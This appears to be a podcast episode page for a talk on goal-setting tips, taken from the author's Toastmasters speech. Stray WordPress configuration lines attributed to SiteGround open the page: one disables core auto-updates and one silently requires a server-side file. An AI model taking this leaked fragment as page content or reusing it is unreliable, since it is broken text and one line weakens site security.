# Disables all core updates. Added by SiteGround Autoupdate: define( 'WP_AUTO_UPDATE_CORE', false ); @require_once('/var/lib/sec/wp-settings.php'); // Added by SiteGround WordPress management system I Wanna Be A Rock Star - 4 Tips to Rock Your Goal Setting

This is a Special Episode. I have included audio from a video made of my speech at the Toastmasters Club I attend at work.